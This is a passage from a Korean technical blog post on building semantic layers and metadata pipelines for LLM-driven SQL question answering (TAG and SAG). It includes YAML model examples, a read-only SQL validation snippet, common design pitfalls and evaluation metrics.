    &lt;span class=&quot;token key atrule&quot;&gt;verified_by&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; finance&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;data&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;검증된 질문과 SQL은 단순 few-shot 예제가 아닙니다. 조직이 승인한 계산 방식을 고정하는 회귀 테스트 자산입니다. Snowflake도 Verified Query Repository를 별도로 제공하며, 잘못된 SQL을 넣으면 오히려 정확도를 떨어뜨린다고 명시합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;벤더 중립 Semantic Model 예시&lt;/h2&gt;
&lt;p&gt;처음부터 거대한 온톨로지를 만들 필요는 없습니다. 질문이 자주 들어오는 도메인 하나부터 다음 정도로 시작할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; sales
&lt;span class=&quot;token key atrule&quot;&gt;owner&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; finance&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;data

&lt;span class=&quot;token key atrule&quot;&gt;entities&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; mart.orders
    &lt;span class=&quot;token key atrule&quot;&gt;grain&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 주문 한 건당 한 행
    &lt;span class=&quot;token key atrule&quot;&gt;primary_key&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; order_id
    &lt;span class=&quot;token key atrule&quot;&gt;synonyms&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;주문&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 구매&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;token key atrule&quot;&gt;payment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; mart.payments
    &lt;span class=&quot;token key atrule&quot;&gt;grain&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 결제 시도 한 건당 한 행
    &lt;span class=&quot;token key atrule&quot;&gt;primary_key&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; payment_id
    &lt;span class=&quot;token key atrule&quot;&gt;dimensions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;APPROVED&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 승인 완료
          &lt;span class=&quot;token key atrule&quot;&gt;FAILED&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 승인 실패
    &lt;span class=&quot;token key atrule&quot;&gt;facts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;approved_amount&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;expr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; approved_amt
        &lt;span class=&quot;token key atrule&quot;&gt;unit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; KRW

&lt;span class=&quot;token key atrule&quot;&gt;relationships&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; payment_to_order
    &lt;span class=&quot;token key atrule&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; payment.order_id
    &lt;span class=&quot;token key atrule&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; order.order_id
    &lt;span class=&quot;token key atrule&quot;&gt;cardinality&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; many_to_one

&lt;span class=&quot;token key atrule&quot;&gt;metrics&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;net_revenue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;label&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 순매출
    &lt;span class=&quot;token key atrule&quot;&gt;synonyms&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;실매출&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; net revenue&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;expr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; approved_payment_amount &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; completed_refund_amount
    &lt;span class=&quot;token key atrule&quot;&gt;time_dimension&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; payment.paid_at

&lt;span class=&quot;token key atrule&quot;&gt;verified_queries&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;question&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 지난달 순매출
    &lt;span class=&quot;token key atrule&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; queries/net_revenue_last_month.sql&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;중요한 점은 이 YAML 자체가 아닙니다. 같은 정의를 dbt Semantic Layer, Snowflake Semantic View, Cube, LookML, 사내 JSON 모델 등으로 옮겨도 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;업무 정의가 코드로 버전 관리되고, 질문 실행 시 그 정의를 검색할 수 있는가&lt;/strong&gt;가 핵심입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;메타데이터를 만들어내는 실전 파이프라인&lt;/h2&gt;
&lt;h3&gt;1단계 — 물리 메타데이터 자동 수집&lt;/h3&gt;
&lt;p&gt;PostgreSQL이라면 &lt;code class=&quot;language-text&quot;&gt;information_schema&lt;/code&gt;에서 시작할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt;
  table_schema&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  table_name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  column_name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  ordinal_position&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  data_type&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  is_nullable
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; information_schema&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;columns&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; table_schema &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;IN&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;pg_catalog&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;information_schema&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;BY&lt;/span&gt; table_schema&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; table_name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ordinal_position&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기에 PK·FK·view definition·column comment·owner를 추가로 수집합니다. 이 단계는 LLM이 아니라 DB 카탈로그가 원본입니다.&lt;/p&gt;
&lt;h3&gt;2단계 — 안전한 데이터 프로파일링&lt;/h3&gt;
&lt;p&gt;각 컬럼에 대해 다음 통계를 계산합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NULL 비율&lt;/li&gt;
&lt;li&gt;distinct 개수와 대략적인 cardinality&lt;/li&gt;
&lt;li&gt;숫자의 min/max/분위수&lt;/li&gt;
&lt;li&gt;날짜 범위와 최신 적재 시각&lt;/li&gt;
&lt;li&gt;상위 빈도값&lt;/li&gt;
&lt;li&gt;패턴: 이메일·전화번호·UUID 가능성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여기서 &lt;strong&gt;원본 고객값을 무조건 LLM에 보내면 안 됩니다.&lt;/strong&gt; PII는 마스킹하고, sample value 대신 통계와 허용 코드 목록만 전달하는 것이 기본입니다.&lt;/p&gt;
&lt;h3&gt;3단계 — LLM으로 설명 초안 생성&lt;/h3&gt;
&lt;p&gt;LLM은 다음 작업에 유용합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;약어가 많은 테이블·컬럼 설명 초안&lt;/li&gt;
&lt;li&gt;비슷한 업무 용어와 동의어 후보&lt;/li&gt;
&lt;li&gt;데이터 프로파일 기반 타입·코드 의미 후보&lt;/li&gt;
&lt;li&gt;기존 위키·DDL comment·대시보드 설명의 병합&lt;/li&gt;
&lt;li&gt;누락된 owner·metric·join rule 질문 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;하지만 metric 공식과 권한을 자동 확정하게 해서는 안 됩니다. &lt;strong&gt;생성은 AI, 승인은 데이터 오너&lt;/strong&gt;가 맡습니다.&lt;/p&gt;
&lt;p&gt;AWS의 structured semantic layer 예제도 테이블마다 schema와 sample data, 참고 문서를 읽어 메타데이터를 생성한 뒤 Glue와 S3에 쓰고, 수정 이력을 남기는 human-in-the-loop 흐름을 사용합니다.&lt;/p&gt;
&lt;h3&gt;4단계 — Steward 검토와 버전 관리&lt;/h3&gt;
&lt;p&gt;검토 UI에는 설명만 보여주지 말고 근거도 같이 보여줘야 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;제안: status = C는 CANCELED다
근거: 값 분포 C 3.2%, 취소 대시보드 필터 status=&apos;C&apos;
검토: 결제 담당자 승인
버전: semantic-model/sales/v17&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;누가 무엇을 언제 승인했는지 남겨야 잘못된 정의가 배포됐을 때 되돌릴 수 있습니다.&lt;/p&gt;
&lt;h3&gt;5단계 — 검색 가능한 단위로 발행&lt;/h3&gt;
&lt;p&gt;전체 카탈로그를 한 문서로 임베딩하지 않습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;domain 문서     sales의 범위·owner·주요 질문
entity 문서     order/payment/refund의 grain과 설명
metric 문서     net_revenue 공식·시간축·필터
relationship   허용된 join path와 cardinality
verified query 질문·승인 SQL·적용 조건&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;질문이 들어오면 먼저 domain을 고르고, 관련 entity·metric·relationship만 가져옵니다. 이것이 progressive disclosure입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;런타임 — TAG를 안전하게 실행하는 7단계&lt;/h2&gt;
&lt;h3&gt;1. 질문 분류&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;지난달 순매출이 전월보다 감소한 이유는?&quot;
→ domain: sales
→ intent: metric comparison + explanation&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2. Semantic metadata 검색&lt;/h3&gt;
&lt;p&gt;행 데이터를 찾는 것이 아니라 다음을 먼저 찾습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;net_revenue&lt;/code&gt; metric&lt;/li&gt;
&lt;li&gt;payment·refund entity&lt;/li&gt;
&lt;li&gt;승인된 join path&lt;/li&gt;
&lt;li&gt;time dimension&lt;/li&gt;
&lt;li&gt;비슷한 verified query&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Query synthesis&lt;/h3&gt;
&lt;p&gt;LLM은 검색된 메타데이터 안에서 SQL을 만듭니다. 전체 DB 스키마를 프롬프트에 넣지 않습니다.&lt;/p&gt;
&lt;h3&gt;4. 정적 검증&lt;/h3&gt;
&lt;p&gt;실행 전 최소한 다음을 확인합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;SELECT 전용인가?
허용된 schema와 table만 참조하는가?
승인되지 않은 cross join이 있는가?
metric의 필수 filter가 유지됐는가?
PII 컬럼을 직접 반환하는가?
LIMIT 또는 집계가 있는가?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;문자열 정규식보다 SQL AST 파서를 사용하는 것이 안전합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; sqlglot &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; parse_one&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; exp

tree &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; parse_one&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;generated_sql&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; read&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;postgres&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; tree&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;find&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;exp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Insert&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;or&lt;/span&gt; tree&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;find&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;exp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Update&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;or&lt;/span&gt; tree&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;find&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;exp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Delete&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; ValueError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;read-only query만 허용합니다&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

allowed &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;payments&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;refunds&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;orders&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
used &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;table&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;name &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; table &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; tree&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;find_all&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;exp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Table&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; used &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; allowed&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; ValueError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;허용되지 않은 테이블: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;used &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; allowed&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;5. 비용 검증과 제한된 실행&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;EXPLAIN&lt;/code&gt;으로 예상 스캔량을 확인하고 timeout·row limit·read-only role을 적용합니다. LLM에 관리자 계정을 주는 방식은 실험 환경에서도 피해야 합니다.&lt;/p&gt;
&lt;h3&gt;6. Answer generation&lt;/h3&gt;
&lt;p&gt;DB가 계산한 결과 테이블을 LLM이 설명합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;순매출은 91억 원으로 전월보다 8.4% 감소했습니다.
주요 원인은 환불액 14% 증가입니다.

기준: 결제 승인일
공식: 승인 결제액 - 완료 환불액
데이터 최신 시각: 2026-08-31 08:45 KST&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;숫자는 LLM이 계산하지 않고 DB가 계산합니다. LLM은 결과를 비교·요약하고 질문에 맞게 설명합니다.&lt;/p&gt;
&lt;h3&gt;7. 관찰과 Verified Query 승격&lt;/h3&gt;
&lt;p&gt;질문, 검색된 메타데이터, 생성 SQL, 검증 결과, 실행 시간, 사용자 수정 내용을 기록합니다. 반복해서 성공한 질문은 담당자가 검토한 뒤 verified query로 승격합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;TAG는 Text-to-SQL보다 무엇이 다른가&lt;/h2&gt;
&lt;p&gt;Text-to-SQL의 목표는 질문과 같은 의미의 SQL을 만드는 것입니다. 하지만 실무 질문은 SQL만으로 끝나지 않습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;매출이 줄어든 지역을 찾고, 고객 후기에서 공통 불만을 요약해줘.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 질문에는 세 능력이 모두 필요합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;DB가 지역별 매출을 정확히 집계&lt;/li&gt;
&lt;li&gt;조건에 맞는 후기 행을 대규모로 필터링&lt;/li&gt;
&lt;li&gt;LLM이 후기의 의미를 분류·요약&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;TAG는 이를 &lt;code class=&quot;language-text&quot;&gt;query synthesis → query execution → answer generation&lt;/code&gt;으로 명시적으로 분리합니다. 데이터베이스는 정확한 계산과 대규모 처리를, LLM은 의미 판단과 설명을 담당합니다.&lt;/p&gt;
&lt;p&gt;그래서 &lt;strong&gt;모든 행을 임베딩해서 RAG로 숫자를 세는 방식&lt;/strong&gt;보다 안전합니다. 벡터 검색의 top-k는 집계 대상 전체를 보장하지 않기 때문입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;SAG는 어디에 붙는가&lt;/h2&gt;
&lt;p&gt;다음 질문은 테이블만으로 답하기 어렵습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;순매출이 감소한 고객군과 관련된 최근 정책 변경 및 장애 사건을 함께 찾아줘.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;TAG는 감소한 고객군과 수치를 계산할 수 있습니다. 하지만 정책 문서, 장애 보고서, 상담 기록의 연결은 별도의 지식 검색이 필요합니다.&lt;/p&gt;
&lt;p&gt;SAG는 문서 청크를 다음처럼 저장합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Chunk 101
Event: 8월 12일 무료배송 기준이 3만원에서 5만원으로 변경됨
Entities: [무료배송, 주문정책, 5만원]

Chunk 204
Event: 8월 중순 소액 주문 전환율이 11% 감소함
Entities: [소액주문, 전환율, 무료배송]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;질문 시 &lt;code class=&quot;language-text&quot;&gt;무료배송&lt;/code&gt; 같은 공유 Entity를 SQL 조인 키로 사용해 두 Event를 연결합니다. 전역 지식 그래프를 미리 모두 만들지 않고, 현재 질문에 필요한 로컬 관계만 구성하는 것이 핵심입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;TAG: 정확한 숫자와 대상 집합을 계산
SAG: 그 숫자와 연결된 문서 사건·정책 근거를 확장&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 둘을 합치면 답변에 계산 근거와 문서 근거를 함께 붙일 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;흔히 실패하는 설계 7가지&lt;/h2&gt;
&lt;h3&gt;1. 컬럼 description만 채운다&lt;/h3&gt;
&lt;p&gt;설명은 시작일 뿐입니다. grain, metric, join cardinality, time dimension이 없으면 집계 SQL은 계속 틀립니다.&lt;/p&gt;
&lt;h3&gt;2. 모든 행을 문장으로 바꿔 임베딩한다&lt;/h3&gt;
&lt;p&gt;검색과 샘플 탐색에는 쓸 수 있지만 정확한 합계·개수·순위 계산의 원본이 되어서는 안 됩니다.&lt;/p&gt;
&lt;h3&gt;3. 전체 카탈로그를 프롬프트에 넣는다&lt;/h3&gt;
&lt;p&gt;테이블이 늘수록 이름 충돌과 잘못된 join 후보가 증가합니다. 질문 관련 domain부터 단계적으로 검색해야 합니다.&lt;/p&gt;
&lt;h3&gt;4. FK만 보고 조인한다&lt;/h3&gt;
&lt;p&gt;이력 테이블, SCD, soft delete, 다중 결제처럼 분석 조건이 추가되는 조인은 semantic relationship으로 별도 관리합니다.&lt;/p&gt;
&lt;h3&gt;5. AI가 만든 metric을 자동 배포한다&lt;/h3&gt;
&lt;p&gt;매출·활성 사용자·이탈률은 조직의 의사결정을 바꿉니다. 담당자 승인과 테스트 없이 자동 확정하면 안 됩니다.&lt;/p&gt;
&lt;h3&gt;6. SQL 생성 성공률만 본다&lt;/h3&gt;
&lt;p&gt;실행된 SQL이 업무 정의에 맞는지, join이 정확한지, 답의 숫자가 검증됐는지를 따로 측정해야 합니다.&lt;/p&gt;
&lt;h3&gt;7. 권한을 검색 이후에만 검사한다&lt;/h3&gt;
&lt;p&gt;접근할 수 없는 테이블의 이름과 설명도 민감할 수 있습니다. 메타데이터 검색 단계부터 사용자 권한을 적용합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;무엇을 측정해야 하나&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;확인하는 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Domain retrieval accuracy&lt;/td&gt;
&lt;td&gt;올바른 업무 도메인을 찾았는가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Schema-link recall&lt;/td&gt;
&lt;td&gt;필요한 테이블·컬럼·metric을 빠뜨리지 않았는가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Join-path accuracy&lt;/td&gt;
&lt;td&gt;올바른 관계와 cardinality를 사용했는가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metric correctness&lt;/td&gt;
&lt;td&gt;조직의 승인된 공식과 필터를 유지했는가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution accuracy&lt;/td&gt;
&lt;td&gt;SQL 실행 결과가 정답과 일치하는가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Answer groundedness&lt;/td&gt;
&lt;td&gt;답의 숫자와 설명이 결과 테이블에 근거하는가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Freshness compliance&lt;/td&gt;
&lt;td&gt;요구된 최신성 범위를 만족하는가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Correction rate&lt;/td&gt;
&lt;td&gt;사용자가 SQL이나 metric을 얼마나 수정하는가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;평가 세트는 문법 문제보다 &lt;strong&gt;업무에서 실제로 헷갈린 질문&lt;/strong&gt;으로 만듭니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;매출&quot;과 &quot;순매출&quot;을 구분하는 질문
주문일과 결제일이 다른 질문
부분 환불이 포함된 질문
한 주문에 결제 시도가 여러 개인 질문
권한 없는 PII를 요청하는 질문&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;도입 순서 — 2주짜리 최소 구현&lt;/h2&gt;
&lt;h3&gt;1주차&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;질문이 많은 도메인 하나 선택&lt;/li&gt;
&lt;li&gt;핵심 entity 5개 이하 선정&lt;/li&gt;
&lt;li&gt;physical schema·comments·owner 자동 수집&lt;/li&gt;
&lt;li&gt;grain·relationship·metric 10개 수동 정의&lt;/li&gt;
&lt;li&gt;verified query 20개 확보&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2주차&lt;/h3&gt;
&lt;ul&gt;
